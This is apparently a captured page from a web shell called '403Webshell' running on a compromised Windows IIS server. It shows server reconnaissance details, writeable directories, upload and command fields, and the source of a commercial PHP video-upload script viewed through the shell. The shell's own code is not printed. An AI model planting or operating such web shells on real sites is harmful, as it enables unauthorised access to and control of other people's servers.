403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/update5_5/chameleon_social_software_5.5/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/update5_5/chameleon_social_software_5.5/vids_upload.php
<?php
/* (C) Websplosion LLC, 2001-2021

IMPORTANT: This is a commercial software product
and any kind of using it must agree to the Websplosion's license agreement.
It can be found at http://www.chameleonsocial.com/license.doc

This notice may not be removed from the source code. */

$area = 'login';
include('./_include/core/main_start.php');
include('./_include/current/vids/start.php');

class CPage extends CHtmlBlock
{
    function action()
    {
        $file = get_param('filevideo');
        $isUploadVideo = 0;
        if ($file) {
            //VideoUpload::upload(0, $file);
            $isUploadVideo = 1;
        }
        if (CVidsTools::validateVideoFile() || $isUploadVideo) {
            CStatsTools::count('videos_uploaded');
            $active=1;
            if(Common::isOptionActive('video_approval')){
                $active=3;
            }
            $id = CVidsTools::insertVideo($file, $active, true, $isUploadVideo);
            if(Common::isOptionActive('video_approval')){
                if(Common::isEnabledAutoMail('approve_video_admin')){
                    global $g_user;
                    $vars = array(
                        'name'  => User::getInfoBasic($g_user['user_id'],'name'),
                    );
                    Common::sendAutomail(Common::getOption('administration', 'lang_value'), Common::getOption('info_mail', 'main'), 'approve_video_admin', $vars);
                }
            }
            redirect('vids_collect.php?m=my');
        }
    }
    function parseBlock(&$html)
    {
        global $g_user;
        $maxSize = Common::getOption('video_size');
        $html->setvar('video_file_size_limit', mb_to_bytes($maxSize));
        $html->setvar('error_video_file_size_limit', lSetVars(l('max_file_size'), array('size' => $maxSize)));
        $html->setvar('video_max_chunk_size', Common::getOption('video_max_chunk_size_kb', 'upload_files') * 1024);
        $html->setvar('upload_name', 'upload_video_' . $g_user['user_id'] . '_' . time() . md5(microtime()) . rand(0,100000));
        parent::parseBlock($html);
    }
}

vids_render_page();
include('./_include/core/main_close.php');

Youez - 2016 - github.com/yon3zu
LinuXploit